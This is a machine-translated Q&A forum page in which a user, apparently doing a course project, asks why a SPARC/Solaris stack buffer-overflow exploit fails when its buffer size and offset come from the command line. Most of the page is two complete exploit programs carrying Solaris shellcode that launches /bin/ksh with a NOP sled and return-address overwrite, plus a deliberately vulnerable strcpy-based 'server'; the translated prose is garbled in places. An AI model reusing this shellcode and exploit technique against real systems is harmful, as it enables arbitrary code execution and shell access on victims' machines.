2012-05-01 5 views
2

私は最近、SUN Sparcの "サーバー"を "攻撃"してバッファオーバーフローを引き起こすプログラムを作成するプロジェクトを終了しました。基本的には、実行中の "server"の内部から/ bin/kshを起動することでした。これらのプログラムの1つは、他のプログラムが動作しないときになぜ機能しますか?

最終的にはうまくいきましたが、愚かな理由が考えられました。ユーザーがバッファーとオフセット値を引数として入力したときに機能しませんでしたが、値がハードコードされたときに機能しました。唯一の違いは、私は、その後、それらを定義することなくBUFSIZEとOFFSETを宣言することがいかに

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x20\xbf\xff\xff" /* bn,a */ 
    "\x7f\xff\xff\xff" /* call */ 
    "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
    "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
    "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
    "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
    "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
    "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
    "\x91\xd0\x20\x08" /* ta 8 */ 
    "/bin/ksh" ; 

static int BUFSIZE; 
static int OFFSET; 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
    asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

BUFSIZE = atoi(argv[1]); 
OFFSET = atoi(argv[2]); 
char buf[ BUFSIZE ],*ptr; 
unsigned long ret,sp; 
int rem,i,err; 

ret = sp = get_sp(); 

if(argv[1]) { 
     ret -= strtoul(argv[1], (void *)0, 16); 
} 
/* align return address: IMPORTANT to be multiple of 8!! */ 

if((rem = ret % 8)) { 
     ret &= ~(rem); 
} 

bzero(buf, BUFSIZE); 
for(i = 0; i < BUFSIZE; i+=4) { 
     strcpy(&buf[i], np); 
} 

memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

ptr = &buf[OFFSET]; 

/* set fp to a save stack value 
*/ 
*(ptr++) = (sp >> 24) & 0xff; 
*(ptr++) = (sp >> 16) & 0xff; 
*(ptr++) = (sp >> 8) & 0xff; 
*(ptr++) = (sp) & 0xff; 

/* we now overwrite saved PC 
*/ 
*(ptr++) = (ret >> 24) & 0xff; 
*(ptr++) = (ret >> 16) & 0xff; 
*(ptr++) = (ret >> 8) & 0xff; 
*(ptr++) = (ret) & 0xff; 

buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

注:ここでは

は「剛性」プログラムです:

#include <stdlib.h> 
#include <stdio.h> 

/* lsd - Solaris shellcode 
*/ 
static char shell[]=   /* 10*4+8 bytes */ 

     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x20\xbf\xff\xff" /* bn,a */ 
     "\x7f\xff\xff\xff" /* call */ 
     "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ 
     "\x92\x02\x20\x10" /* add %o0,16,%o1 */ 
     "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ 
     "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ 
     "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ 
     "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ 
     "\x91\xd0\x20\x08" /* ta 8 */ 
     "/bin/ksh" ; 

#define BUFSIZE 864 

/* SPARC NOP 
*/ 
static char np[] = "\xac\x15\xa1\x6e"; 

unsigned long get_sp(void) { 
     asm("or %sp,%sp,%i0"); 
} 

main(int argc, char *argv[]) { 

    char buf[ BUFSIZE ],*ptr; 
    unsigned long ret,sp; 
    int rem,i,err; 

    ret = sp = get_sp(); 

    if(argv[1]) { 
      ret -= strtoul(argv[1], (void *)0, 16); 
    } 

    /* align return address: IMPORTANT to be multiple of 8!! */ 

    if((rem = ret % 8)) { 
      ret &= ~(rem); 
    } 

    bzero(buf, BUFSIZE); 
    for(i = 0; i < BUFSIZE; i+=4) { 
      strcpy(&buf[i], np); 
    } 

    memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell)); 

    ptr = &buf[856]; 

    /* set fp to a save stack value 
    */ 
    *(ptr++) = (sp >> 24) & 0xff; 
    *(ptr++) = (sp >> 16) & 0xff; 
    *(ptr++) = (sp >> 8) & 0xff; 
    *(ptr++) = (sp) & 0xff; 


    /* we now overwrite saved PC 
    */ 
    *(ptr++) = (ret >> 24) & 0xff; 
    *(ptr++) = (ret >> 16) & 0xff; 
    *(ptr++) = (ret >> 8) & 0xff; 
    *(ptr++) = (ret) & 0xff; 

    buf[ BUFSIZE ] = 0; 


#ifndef QUIET 
    printf("Return Address 0x%x\n",ret); 
    printf("Start overflowing server program\n"); 
    printf("Then a program such as shell can be executed after server program is over\n"); 
#endif 

    err = execl("./server1", "server1", buf, (void *)0); 
    if(err == -1) perror("execl"); 
} 

そしてここで「柔軟な」バージョンですメインに設定してください。

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 

void copy1(const char *a){ 
char buf[800]; 
    int i, j, k; 
    printf("Inside COPY\n"); 
strcpy(buf,a); 
} 

void Doing_nothing() { 
    int i, a[200]; 
    printf("Inside Doing_nothing\n"); 
    for (i=0; i < 100; i++) 
    a[i] =2; 
} 

void main(int argc, char *argv[]) { 

    printf("\n *********************************\n"); 
    printf("This is a newly developed WEB server. \n"); 
    printf(" ****************************************\n") ; 
    printf(" ******The web server is executing*******\n") ; 
    printf(" ****************************************\n") ; 
if (argc >=2) { 
     Doing_nothing(); 
     copy1(argv[1]); 
}  
} 

これらのすべての私のOracle Solaris 10 9/10 s10s_u9wos_14aのSPARCマシン上でコンパイル:

は後世のために、ここでは "サーバー" 私は攻撃しています。

私の質問は:

なぜ柔軟なプログラムは、私はBUFSIZEを作成し、コマンドライン引数をOFFSET単に」原因が動作しないのでしょうか?

答えて

2

ダイナミックコードがコンパイルされていると私は驚いています。

int A[X]の形式でスタック上に宣言された配列は、コンパイル時に既知のサイズでなければなりません。

代わりにmallocで配列を割り当てる必要があります。

char buf[ BUFSIZE ],*ptr; 

char *buf,*ptr; 
buf = (char *)malloc(BUFSIZE); 

こと、あなたが

1

答えは簡単ですが完了したら、それを解放することを忘れてはいけないはずです。 Cは、配列を定義するときに、変数をサイズ指定子として使うのは好きではありません。 1つ目は、最初の例のように#defineを使うか、const intを使うことです。 あなたが引数として指定されたサイズを持つようにしたい場合は、動的なメモリ割り当ての試みを使用する必要があります。

char * buf = (char *) malloc(BUFSIZE * sizeof(char)); /* sizeof(char) is optional ideally */ 
... 
... 
/*when you are done*/ 

free(buf); 
buf = NULL; 

希望これは

+0

を助け、私は、あなたたちは「ドンという欠落しているために自分でそんなに怒っていますさらに知っている。 問題がまだ意図したとおりに機能しないことのみです。 – BigDamnHero

関連する問題